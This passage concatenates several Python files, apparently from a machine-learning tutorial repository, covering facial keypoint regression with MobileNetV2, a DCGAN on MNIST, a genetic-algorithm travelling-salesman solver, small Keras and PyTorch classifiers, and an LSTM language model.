padding="same")) + # model.add(Activation("relu")) + # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) + # model.add(Activation("relu")) + # model.add(MaxPooling2D(pool_size=(2, 2))) + # # model.add(Dropout(0.25)) + + # flattening the convolutions + model.add(Flatten()) + # fully-connected layers + model.add(Dense(256)) + model.add(Activation("relu")) + model.add(Dropout(0.5)) + model.add(Dense(output_shape, activation="linear")) + + # print the summary of the model architecture + model.summary() + + # training the model using rmsprop optimizer + # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) + model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) + return model + + +def create_mobilenet_model(input_shape, output_shape): + model = MobileNetV2(input_shape=input_shape) + # remove the last layer + model.layers.pop() + # freeze all the weights of the model except for the last 4 layers + for layer in model.layers[:-4]: + layer.trainable = False + # construct our output dense layer + output = Dense(output_shape, activation="linear") + # connect it to the model + output = output(model.layers[-1].output) + + model = Model(inputs=model.inputs, outputs=output) + + model.summary() + + # training the model using adam optimizer + # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) + model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) + return model + + + + +IMAGE_SIZE = (224, 224) +OUTPUT_SHAPE = (68, 2) +BATCH_SIZE = 20 +EPOCHS = 30 + +training_file = "data/training_frames_keypoints.csv" +testing_file = "data/test_frames_keypoints.csv" + + + + +import pandas as pd +import numpy as np +import matplotlib.pyplot as plt + +from models import create_model, create_mobilenet_model +from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file +from utils import load_data + + +def get_predictions(model, X): + predicted_keypoints = model.predict(X) + predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) + return predicted_keypoints + + +def show_keypoints(image, predicted_keypoints, true_keypoints): + predicted_keypoints = untransform(predicted_keypoints) + true_keypoints = untransform(true_keypoints) + plt.imshow(np.squeeze(image), cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +def untransform(keypoints): + return keypoints *224 + + +# # construct the model +model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +model.load_weights("results/model_smoothl1_mobilenet_crop.h5") + +X_test, y_test = load_data(testing_file) +y_test = y_test.reshape(-1, *OUTPUT_SHAPE) + +y_pred = get_predictions(model, X_test) +print(y_pred[0]) +print(y_pred.shape) +print(y_test.shape) +print(X_test.shape) + +for i in range(50): + show_keypoints(X_test[i+400], y_pred[i+400], y_test[i+400]) + + + + +import numpy as np +import pandas as pd +import matplotlib.pyplot as plt + +from sklearn.preprocessing import MinMaxScaler +from tqdm import tqdm +# from tensorflow.keras.layers import Conv2D, Dense, MaxPooling2D +from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint + + +import os + +from models import create_model, create_mobilenet_model +from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file +from utils import load_data + +# # read the training dataframe +# training_df = pd.read_csv("data/training_frames_keypoints.csv") + +# # print the number of images available in the training dataset +# print("Number of images in training set:", training_df.shape[0]) + +def show_keypoints(image, key_points): + # show the image + plt.imshow(image) + # use scatter() to plot the keypoints in the faces + plt.scatter(key_points[:, 0], key_points[:, 1], s=20, marker=".") + plt.show() + +# show an example image +# n = 124 +# image_name = training_df.iloc[n, 0] +# keypoints = training_df.iloc[n, 1:].values.reshape(-1, 2) +# show_keypoints(mpimg.imread(os.path.join("data", "training", image_name)), key_points=keypoints) + +model_name = "model_smoothl1_mobilenet_crop" + +# construct the model +model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) + +# model.load_weights("results/model3.h5") + +X_train, y_train = load_data(training_file, to_gray=False) +X_test, y_test = load_data(testing_file, to_gray=False) + +if not os.path.isdir("results"): + os.mkdir("results") + +tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) +# checkpoint = ModelCheckpoint(os.path.join("results", model_name), save_best_only=True, verbose=1) + +history = model.fit(X_train, y_train, + batch_size=BATCH_SIZE, + epochs=EPOCHS, + validation_data=(X_test, y_test), + # callbacks=[tensorboard, checkpoint], + callbacks=[tensorboard], + verbose=1) + + +model.save("results/" + model_name + ".h5") + + + + +import numpy as np +import pandas as pd +import matplotlib.image as mpimg +import matplotlib.pyplot as plt +import cv2 +from tqdm import tqdm + + +import os + +from parameters import IMAGE_SIZE, OUTPUT_SHAPE + + +def show_keypoints(image, predicted_keypoints, true_keypoints=None): + # predicted_keypoints = untransform(predicted_keypoints) + plt.imshow(image, cmap="gray") + plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") + if true_keypoints is not None: + # true_keypoints = untransform(true_keypoints) + plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") + plt.show() + + +def resize_image(image, image_size): + return cv2.resize(image, image_size) + + +def random_crop(image, keypoints): + h, w = image.shape[:2] + new_h, new_w = IMAGE_SIZE + keypoints = keypoints.reshape(-1, 2) + try: + top = np.random.randint(0, h - new_h) + left = np.random.randint(0, w - new_w) + except ValueError: + return image, keypoints + image = image[top: top + new_h, left: left + new_w] + keypoints = keypoints - [left, top] + + return image, keypoints + + +def normalize_image(image, to_gray=True): + if image.shape[2] == 4: + # if the image has an alpha color channel (opacity) + # let's just remove it + image = image[:, :, :3] + # get the height & width of image + h, w = image.shape[:2] + new_h, new_w = IMAGE_SIZE + new_h, new_w = int(new_h), int(new_w) + + # scaling the image to that IMAGE_SIZE + # image = cv2.resize(image, (new_w, new_h)) + image = resize_image(image, (new_w, new_h)) + if to_gray: + # convert image to grayscale + image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) + # normalizing pixels from the range [0, 255] to [0, 1] + image = image / 255.0 + if to_gray: + image = np.expand_dims(image, axis=2) + return image + + + +def normalize_keypoints(image, keypoints): + # get the height & width of image + h, w = image.shape[:2] + # reshape to coordinates (x, y) + # i.e converting a vector of (136,) to the 2D array (68, 2) + new_h, new_w = IMAGE_SIZE + new_h, new_w = int(new_h), int(new_w) + keypoints = keypoints.reshape(-1, 2) + # scale the keypoints also + keypoints = keypoints * [new_w / w, new_h / h] + keypoints = keypoints.reshape(-1) + # normalizing keypoints from [0, IMAGE_SIZE] to [0, 1] (experimental) + keypoints = keypoints / 224 + # keypoints = (keypoints - 100) / 50 + return keypoints + +def normalize(image, keypoints, to_gray=True): + image, keypoints = random_crop(image, keypoints) + return normalize_image(image, to_gray=to_gray), normalize_keypoints(image, keypoints) + +def load_data(csv_file, to_gray=True): + # read the training dataframe + df = pd.read_csv(csv_file) + all_keypoints = np.array(df.iloc[:, 1:]) + image_names = list(df.iloc[:, 0]) + # load images + X, y = [], [] + X = np.zeros((len(image_names), *IMAGE_SIZE, 3), dtype="float32") + y = np.zeros((len(image_names), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])) + for i, (image_name, keypoints) in enumerate(zip(tqdm(image_names, "Loading " + os.path.basename(csv_file)), all_keypoints)): + image = mpimg.imread(os.path.join("data", "training", image_name)) + image, keypoints = normalize(image, keypoints, to_gray=to_gray) + X[i] = image + y[i] = keypoints + + return X, y + + + + +""" +DCGAN on MNIST using Keras +""" +# to use CPU +import os + +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=5, +# inter_op_parallelism_threads=5, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) + +import numpy as np +import matplotlib.pyplot as plt +import tqdm +import glob +# from tensorflow.examples.tutorials.mnist import input_data + +from keras.models import Sequential +from keras.layers import Dense, Activation, Flatten, Reshape +from keras.layers import Conv2D, Conv2DTranspose, UpSampling2D +from keras.layers import LeakyReLU, Dropout, BatchNormalization +from keras.optimizers import Adam, RMSprop +from keras.datasets import mnist + +class GAN: + def __init__(self, img_x=28, img_y=28, img_z=1): + self.img_x = img_x + self.img_y = img_y + self.img_z = img_z + + self.D = None # discriminator + self.G = None # generator + self.AM = None # adversarial model + self.DM = None # discriminator model + + def discriminator(self): + if self.D: + return self.D + + self.D = Sequential() + + depth = 64 + dropout = 0.4 + input_shape = (self.img_x, self.img_y, self.img_z) + + self.D.add(Conv2D(depth, 5, strides=2, input_shape=input_shape, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + self.D.add(Conv2D(depth*2, 5, strides=2, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + self.D.add(Conv2D(depth*4, 5, strides=2, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + self.D.add(Conv2D(depth*8, 5, strides=1, padding="same")) + self.D.add(LeakyReLU(0.2)) + self.D.add(Dropout(dropout)) + + # convert to 1 dimension + self.D.add(Flatten()) + self.D.add(Dense(1, activation="sigmoid")) + print("="*50, "Discriminator", "="*50) + self.D.summary() + return self.D + + def generator(self): + if self.G: + return self.G + + self.G = Sequential() + dropout = 0.4 + # covnerting from 100 vector noise to dim x dim x depth + # (100,) to (7, 7, 256) + depth = 64 * 4 + dim = 7 + + self.G.add(Dense(dim*dim*depth, input_dim=100)) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Reshape((dim, dim, depth))) + self.G.add(Dropout(dropout)) + + # upsampling to (14, 14, 128) + self.G.add(UpSampling2D()) + self.G.add(Conv2DTranspose(depth // 2, 5, padding="same")) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Dropout(dropout)) + + # up to (28, 28, 64) + self.G.add(UpSampling2D()) + self.G.add(Conv2DTranspose(depth // 4, 5, padding="same")) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Dropout(dropout)) + + # to (28, 28, 32) + self.G.add(Conv2DTranspose(depth // 8, 5, padding="same")) + self.G.add(BatchNormalization(momentum=0.9)) + self.G.add(Activation("relu")) + self.G.add(Dropout(dropout)) + + # to (28, 28, 1) (img) + self.G.add(Conv2DTranspose(1, 5, padding="same")) + self.G.add(Activation("sigmoid")) + print("="*50, "Generator", "="*50) + self.G.summary() + return self.G + + def discriminator_model(self): + if self.DM: + return self.DM + # optimizer = RMSprop(lr=0.001, decay=6e-8) + optimizer = Adam(0.0002, 0.5) + self.DM = Sequential() + self.DM.add(self.discriminator()) + self.DM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) + return self.DM + + def adversarial_model(self): + if self.AM: + return self.AM + # optimizer = RMSprop(lr=0.001, decay=3e-8) + optimizer = Adam(0.0002, 0.5) + self.AM = Sequential() + self.AM.add(self.generator()) + self.AM.add(self.discriminator()) + self.AM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) + return self.AM + + +class MNIST: + def __init__(self): + self.img_x = 28 + self.img_y = 28 + self.img_z = 1 + + self.steps = 0 + + self.load_data() + self.create_models() + + # used image indices + self._used_indices = set() + + def load_data(self): + (self.X_train, self.y_train), (self.X_test, self.y_test) = mnist.load_data() + # reshape to (num_samples, 28, 28 , 1) + self.X_train = np.expand_dims(self.X_train, axis=-1) + self.X_test = np.expand_dims(self.X_test, axis=-1) + + def create_models(self): + self.GAN = GAN() + self.discriminator = self.GAN.discriminator_model() + self.adversarial = self.GAN.adversarial_model() + self.generator = self.GAN.generator() + discriminators = glob.glob("discriminator_*.h5") + generators = glob.glob("generator_*.h5") + adversarial = glob.glob("adversarial_*.h5") + if len(discriminators) != 0: + print("[+] Found a discriminator ! Loading weights ...") + self.discriminator.load_weights(discriminators[0]) + if len(generators) != 0: + print("[+] Found a generator ! Loading weights ...") + self.generator.load_weights(generators[0]) + if len(adversarial) != 0: + print("[+] Found an adversarial model ! Loading weights ...") + self.steps = int(adversarial[0].replace("adversarial_", "").replace(".h5", "")) + self.adversarial.load_weights(adversarial[0]) + + + def get_unique_random(self, batch_size=256): + indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) + # in_used_indices = np.any([i in indices for i in self._used_indices]) + # while in_used_indices: + # indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) + # in_used_indices = np.any([i in indices for i in self._used_indices]) + # self._used_indices |= set(indices) + # if len(self._used_indices) > self.X_train.shape[0] // 2: + # if used indices is more than half of training samples, clear it + # that is to enforce it to train at least more than half of the dataset uniquely + # self._used_indices.clear() + return indices + + + + def train(self, train_steps=2000, batch_size=256, save_interval=0): + noise_input = None + + steps = tqdm.tqdm(list(range(self.steps, train_steps))) + fake = np.zeros((batch_size, 1)) + real = np.ones((batch_size, 1)) + for i in steps: + real_images = self.X_train[self.get_unique_random(batch_size)] + # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) + noise = np.random.normal(size=(batch_size, 100)) + fake_images = self.generator.predict(noise) + # get 256 real images and 256 fake images + d_loss_real = self.discriminator.train_on_batch(real_images, real) + d_loss_fake = self.discriminator.train_on_batch(fake_images, fake) + d_loss = 0.5 * np.add(d_loss_real, d_loss_fake) + # X = np.concatenate((real_images, fake_images)) + # y = np.zeros((2*batch_size, 1)) + # 0 for fake and 1 for real + # y[:batch_size, :] = 1 + + # shuffle + # shuffle_in_unison(X, y) + + # d_loss = self.discriminator.train_on_batch(X, y) + + # y = np.ones((batch_size, 1)) + # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) + # fool the adversarial, telling him everything is real + a_loss = self.adversarial.train_on_batch(noise, real) + log_msg = f"[D loss: {d_loss[0]:.6f}, D acc: {d_loss[1]:.6f} | A loss: {a_loss[0]:.6f}, A acc: {a_loss[1]:.6f}]" + steps.set_description(log_msg) + + if save_interval > 0: + noise_input = np.random.uniform(low=-1, high=1.0, size=(16, 100)) + if (i + 1) % save_interval == 0: + self.plot_images(save2file=True, samples=noise_input.shape[0], noise=noise_input, step=(i+1)) + self.discriminator.save(f"discriminator_{i+1}.h5") + self.generator.save(f"generator_{i+1}.h5") + self.adversarial.save(f"adversarial_{i+1}.h5") + + + def plot_images(self, save2file=False, fake=True, samples=16, noise=None, step=0): + filename = "mnist_fake.png" + if fake: + if noise is None: + noise = np.random.uniform(-1.0, 1.0, size=(samples, 100)) + else: + filename = f"mnist_{step}.png" + images = self.generator.predict(noise) + else: + i = np.random.randint(0, self.X_train.shape[0], samples) + images = self.X_train[i] + if noise is None: + filename = "mnist_real.png" + + plt.figure(figsize=(10, 10)) + for i in range(images.shape[0]): + plt.subplot(4, 4, i+1) + image = images[i] + image = np.reshape(image, (self.img_x, self.img_y)) + plt.imshow(image, cmap="gray") + plt.axis("off") + plt.tight_layout() + if save2file: + plt.savefig(filename) + plt.close("all") + else: + plt.show() + + +# https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison +def shuffle_in_unison(a, b): + rng_state = np.random.get_state() + np.random.shuffle(a) + np.random.set_state(rng_state) + np.random.shuffle(b) + + +if __name__ == "__main__": + mnist_gan = MNIST() + mnist_gan.train(train_steps=10000, batch_size=256, save_interval=500) + mnist_gan.plot_images(fake=True, save2file=True) + mnist_gan.plot_images(fake=False, save2file=True) + + + + +import random +import numpy as np +import pandas as pd +import operator +import matplotlib.pyplot as plt +from threading import Event, Thread + + +class Individual: + def __init__(self, object): + self.object = object + + def update(self, new): + self.object = new + + def __repr__(self): + return self.object + + def __str__(self): + return self.object + + +class GeneticAlgorithm: + """General purpose genetic algorithm implementation""" + + def __init__(self, individual, popsize, elite_size, mutation_rate, generations, fitness_func, plot=True, prn=True, animation_func=None): + self.individual = individual + self.popsize = popsize + self.elite_size = elite_size + self.mutation_rate = mutation_rate + self.generations = generations + if not callable(fitness_func): + raise TypeError("fitness_func must be a callable object.") + self.get_fitness = fitness_func + self.plot = plot + self.prn = prn + self.population = self._init_pop() + self.animate = animation_func + + def calc(self): + """Try to find the best individual. + This function returns (initial_individual, final_individual, """ + sorted_pop = self.sortpop() + initial_route = self.population[sorted_pop[0][0]] + distance = 1 / sorted_pop[0][1] + progress = [ distance ] + if callable(self.animate): + self.plot = True + individual = Individual(initial_route) + stop_animation = Event() + self.animate(individual, progress, stop_animation, plot_conclusion=initial_route) + else: + self.plot = False + if self.prn: + print(f"Initial distance: {distance}") + try: + if self.plot: + for i in range(self.generations): + population = self.next_gen() + sorted_pop = self.sortpop() + distance = 1 / sorted_pop[0][1] + progress.append(distance) + if self.prn: + print(f"[Generation:{i}] Current distance: {distance}") + route = population[sorted_pop[0][0]] + individual.update(route) + else: + for i in range(self.generations): + population = self.next_gen() + distance = 1 / self.sortpop()[0][1] + if self.prn: + print(f"[Generation:{i}] Current distance: {distance}") + + + except KeyboardInterrupt: + pass + try: + stop_animation.set() + except NameError: + pass + final_route_index = self.sortpop()[0][0] + final_route = population[final_route_index] + if self.prn: + print("Final route:", final_route) + + return initial_route, final_route, distance + + def create_population(self): + return random.sample(self.individual, len(self.individual)) + + def _init_pop(self): + return [ self.create_population() for i in range(self.popsize) ] + + def sortpop(self): + """This function calculates the fitness of each individual in population + And returns a population sorted by its fitness in descending order""" + result = [ (i, self.get_fitness(individual)) for i, individual in enumerate(self.population) ] + return sorted(result, key=operator.itemgetter(1), reverse=True) + + def selection(self): + sorted_pop = self.sortpop() + df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) + df['cum_sum'] = df['Fitness'].cumsum() + df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() + result = [ sorted_pop[i][0] for i in range(self.elite_size) ] + + for i in range(len(sorted_pop) - self.elite_size): + pick = random.random() * 100 + for i in range(len(sorted_pop)): + if pick <= df['cum_perc'][i]: + result.append(sorted_pop[i][0]) + break + return [ self.population[index] for index in result ] + + def breed(self, parent1, parent2): + child1, child2 = [], [] + + gene_A = random.randint(0, len(parent1)) + gene_B = random.randint(0, len(parent2)) + + start_gene = min(gene_A, gene_B) + end_gene = max(gene_A, gene_B) + + for i in range(start_gene, end_gene): + child1.append(parent1[i]) + + child2 = [ item for item in parent2 if item not in child1 ] + return child1 + child2 + + def breed_population(self, selection): + pool = random.sample(selection, len(selection)) + children = [selection[i] for i in range(self.elite_size)] + children.extend([self.breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - self.elite_size)]) + return children + + def mutate(self, individual): + individual_length = len(individual) + for swapped in range(individual_length): + if(random.random() < self.mutation_rate): + swap_with = random.randint(0, individual_length-1) + individual[swapped], individual[swap_with] = individual[swap_with], individual[swapped] + return individual + + def mutate_population(self, children): + return [ self.mutate(individual) for individual in children ] + + def next_gen(self): + selection = self.selection() + children = self.breed_population(selection) + self.population = self.mutate_population(children) + return self.population + + + + +from genetic import plt +from genetic import Individual +from threading import Thread + + +def plot_routes(initial_route, final_route): + _, ax = plt.subplots(nrows=1, ncols=2) + + for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): + col.title.set_text(route[0]) + route = route[1] + for i, city in enumerate(route): + if i == 0: + col.text(city.x-5, city.y+5, "Start") + col.scatter(city.x, city.y, s=70, c='g') + else: + col.scatter(city.x, city.y, s=70, c='b') + + col.plot([ city.x for city in route ], [city.y for city in route], c='r') + col.plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') + + plt.show() + + +def animate_progress(route, progress, stop_animation, plot_conclusion=None): + + def animate(): + nonlocal route + _, ax1 = plt.subplots(nrows=1, ncols=2) + while True: + if isinstance(route, Individual): + target = route.object + ax1[0].clear() + ax1[1].clear() + + # current routes and cities + ax1[0].title.set_text("Current routes") + + for i, city in enumerate(target): + if i == 0: + ax1[0].text(city.x-5, city.y+5, "Start") + ax1[0].scatter(city.x, city.y, s=70, c='g') + else: + ax1[0].scatter(city.x, city.y, s=70, c='b') + + ax1[0].plot([ city.x for city in target ], [city.y for city in target], c='r') + ax1[0].plot([target[-1].x, target[0].x], [target[-1].y, target[0].y], c='r') + + # current distance graph + ax1[1].title.set_text("Current distance") + ax1[1].plot(progress) + ax1[1].set_ylabel("Distance") + ax1[1].set_xlabel("Generation") + + plt.pause(0.05) + + if stop_animation.is_set(): + break + plt.show() + if plot_conclusion: + initial_route = plot_conclusion + plot_routes(initial_route, target) + + Thread(target=animate).start() + + + + +import matplotlib.pyplot as plt +import random +import numpy as np +import operator +from plots import animate_progress, plot_routes + + +class City: + def __init__(self, x, y): + self.x = x + self.y = y + + def distance(self, city): + """Returns distance between self city and city""" + x = abs(self.x - city.x) + y = abs(self.y - city.y) + return np.sqrt(x ** 2 + y ** 2) + + def __sub__(self, city): + return self.distance(city) + + def __repr__(self): + return f"({self.x}, {self.y})" + + def __str__(self): + return self.__repr__() + + +def get_fitness(route): + + def get_distance(): + distance = 0 + for i in range(len(route)): + from_city = route[i] + to_city = route[i+1] if i+1 < len(route) else route[0] + distance += (from_city - to_city) + return distance + + return 1 / get_distance() + + +def load_cities(): + return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] + + +def generate_cities(size): + cities = [] + for i in range(size): + x = random.randint(0, 200) + y = random.randint(0, 200) + + if 40 < x < 160: + if 0.5 <= random.random(): + y = random.randint(0, 40) + else: + y = random.randint(160, 200) + elif 40 < y < 160: + if 0.5 <= random.random(): + x = random.randint(0, 40) + else: + x = random.randint(160, 200) + + cities.append(City(x, y)) + return cities + + +def benchmark(cities): + popsizes = [60, 80, 100, 120, 140] + elite_sizes = [5, 10, 20, 30, 40] + mutation_rates = [0.02, 0.01, 0.005, 0.003, 0.001] + generations = 1200 + + iterations = len(popsizes) * len(elite_sizes) * len(mutation_rates) + iteration = 0 + + gens = {} + + for popsize in popsizes: + for elite_size in elite_sizes: + for mutation_rate in mutation_rates: + iteration += 1 + gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, prn=False) + initial_route, final_route, generation = gen.calc(ret=("generation", 755)) + if generation == generations: + print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): could not reach the solution") + else: + print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): {generation} generations was enough") + if generation != generations: + gens[iteration] = generation + # reversed_gen = {v:k for k, v in gens.items()} + output = sorted(gens.items(), key=operator.itemgetter(1)) + for i, gens in output: + print(f"Iteration: {i} generations: {gens}") + + +# [1] (popsize=60, elite_size=30, mutation_rate=0.001): 235 generations was enough +# [2] (popsize=80, elite_size=20, mutation_rate=0.001): 206 generations was enough +# [3] (popsize=100, elite_size=30, mutation_rate=0.001): 138 generations was enough +# [4] (popsize=120, elite_size=30, mutation_rate=0.002): 117 generations was enough +# [5] (popsize=140, elite_size=20, mutation_rate=0.003): 134 generations was enough + +# The notes: +# 1.1 Increasing the mutation rate to higher rate, the curve will be inconsistent and it won't lead us to the optimal distance. +# 1.2 So we need to put it as small as 1% or lower +# 2. Elite size is likely to be about 30% or less of total population +# 3. Generations depends on the other parameters, can be a fixed number, or until we reach the optimal distance. +# 4. + + +if __name__ == "__main__": + from genetic import GeneticAlgorithm + cities = load_cities() + # cities = generate_cities(50) + # parameters + popsize = 120 + elite_size = 30 + mutation_rate = 0.1 + + generations = 400 + + gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, animation_func=animate_progress) + initial_route, final_route, distance = gen.calc() + + + + +import tensorflow as tf +import matplotlib.pyplot as plt +from sklearn.model_selection import train_test_split +from sklearn.utils import shuffle + +import re +import numpy as np +import os +import time +import json +from glob import glob +from PIL import Image +import pickle + + + + +import numpy as np +from keras.utils import np_utils +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import Dense, Activation + + +np.random.seed(19) + +X = np.array([[0,0],[0,1],[1,0],[1,1]]).astype('float32') +y = np.array([[0],[1],[1],[0]]).astype('float32') + +y = np_utils.to_categorical(y) + +xor = Sequential() + +# add required layers +xor.add(Dense(8, input_dim=2)) + +# hyperbolic tangent function to the first hidden layer ( 8 nodes ) +xor.add(Activation("tanh")) + +xor.add(Dense(8)) +xor.add(Activation("relu")) +# output layer +xor.add(Dense(2)) + +# sigmoid function to the output layer ( final ) +xor.add(Activation("sigmoid")) + +# Cross-entropy error function +xor.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) + +# show the summary of the model +xor.summary() + +xor.fit(X, y, epochs=400, verbose=1) + +# accuray +score = xor.evaluate(X, y) +print(f"Accuracy: {score[-1]}") + + +# Checking the predictions +print("\nPredictions:") +print(xor.predict(X)) + + + + +import torch +import torchvision +from torchvision import transforms, datasets +import torch.nn as nn +import torch.nn.functional as F +import torch.optim as optim +import matplotlib.pyplot as plt + +epochs = 3 +batch_size = 64 + +# building the network now +class Net(nn.Module): + def __init__(self): + super().__init__() + # takes 28x28 images + self.fc1 = nn.Linear(28*28, 64) + self.fc2 = nn.Linear(64, 64) + self.fc3 = nn.Linear(64, 64) + self.fc4 = nn.Linear(64, 10) + + def forward(self, x): + x = F.relu(self.fc1(x)) + x = F.relu(self.fc2(x)) + x = F.relu(self.fc3(x)) + x = self.fc4(x) + return F.log_softmax(x, dim=1) + + + +if __name__ == "__main__": + training_set = datasets.MNIST("", train=True, download=True, + transform=transforms.Compose([ + transforms.ToTensor() + ])) + + test_set = datasets.MNIST("", train=False, download=True, + transform=transforms.Compose([ + transforms.ToTensor() + ])) + + # load the dataset + train = torch.utils.data.DataLoader(training_set, batch_size=batch_size, shuffle=True) + test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False) + # construct the model + net = Net() + # specify the loss and optimizer + loss = nn.CrossEntropyLoss() + optimizer = optim.Adam(net.parameters(), lr=0.001) + + # training the model + for epoch in range(epochs): + for data in train: + # data is the batch of data now + # X are the features, y are labels + X, y = data + net.zero_grad() # set gradients to 0 before loss calculation + output = net(X.view(-1, 28*28)) # feed data to the network + loss = F.nll_loss(output, y) # calculating the negative log likelihood + loss.backward() # back propagation + optimizer.step() # attempt to optimize weights to account for loss/gradients + print(loss) + + correct = 0 + total = 0 + with torch.no_grad(): + for data in test: + X, y = data + output = net(X.view(-1, 28*28)) + for index, i in enumerate(output): + if torch.argmax(i) == y[index]: + correct += 1 + total += 1 + + print("Accuracy:", round(correct / total, 3)) + # testing + print(torch.argmax(net(X.view(-1, 28*28))[0])) + plt.imshow(X[0].view(28, 28)) + plt.show() + + + + +from keras.models import Sequential +from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed +from keras.layers import Bidirectional + +def rnn_model(input_dim, cell, num_layers, units, dropout, batch_normalization=True, bidirectional=True): + model = Sequential() + for i in range(num_layers): + if i == 0: + # first time, specify input_shape + if bidirectional: + model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True))) + else: + model.add(cell(units, input_shape=(None, input_dim), return_sequences=True)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + else: + if bidirectional: + model.add(Bidirectional(cell(units, return_sequences=True))) + else: + model.add(cell(units, return_sequences=True)) + if batch_normalization: + model.add(BatchNormalization()) + model.add(Dropout(dropout)) + model.add(LeakyReLU(alpha=0.1)) + + model.add(TimeDistributed(Dense(input_dim, activation="softmax"))) + + return model + + + + +from utils import UNK, text_to_sequence, sequence_to_text +from keras.preprocessing.sequence import pad_sequences +from keras.layers import LSTM +from models import rnn_model +from scipy.ndimage.interpolation import shift +import numpy as np + +# to use CPU +import os +os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +import tensorflow as tf + +config = tf.ConfigProto(intra_op_parallelism_threads=6, + inter_op_parallelism_threads=6, + allow_soft_placement=True, + device_count = {'CPU' : 1, + 'GPU' : 0} + ) + +INPUT_DIM = 50 + +test_text = "" +test_text += """college or good clerk at university has not pleasant days or used not to have them half a century ago but his position was recognized and the misery was measured can we just make something that is useful for making this happen especially when they are just doing it by""" + +encoded = np.expand_dims(np.array(text_to_sequence(test_text)), axis=0) +encoded = encoded.reshape((-1, encoded.shape[0], encoded.shape[1])) +model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) +model.load_weights("results/lm_rnn_v2_6400548.3.h5") + +# for i in range(10): +# predicted_word_int = model.predict_classes(encoded)[0] +# print(predicted_word_int, end=',') +# word = sequence_to_text(predicted_word_int) +# encoded = shift(encoded, -1, cval=predicted_word_int) +# print(word, end=' ') +print("Fed:") +print(encoded) +print("Result: predict") +print(model.predict(encoded)[0]) +print("Result: predict_proba") +print(model.predict_proba(encoded)[0]) +print("Result: predict_classes") +print(model.predict_classes(encoded)[0]) +print(sequence_to_text(model.predict_classes(encoded)[0])) +print() + + + + +from models import rnn_model +from utils import sequence_to_text, text_to_sequence, get_batches, get_data, get_text, vocab +from keras.layers import LSTM +from keras.callbacks import ModelCheckpoint + +import numpy as np +import os + +INPUT_DIM = 50 +# OUTPUT_DIM = len(vocab) +BATCH_SIZE = 128 + +# get data +text = get_text("data") +encoded = 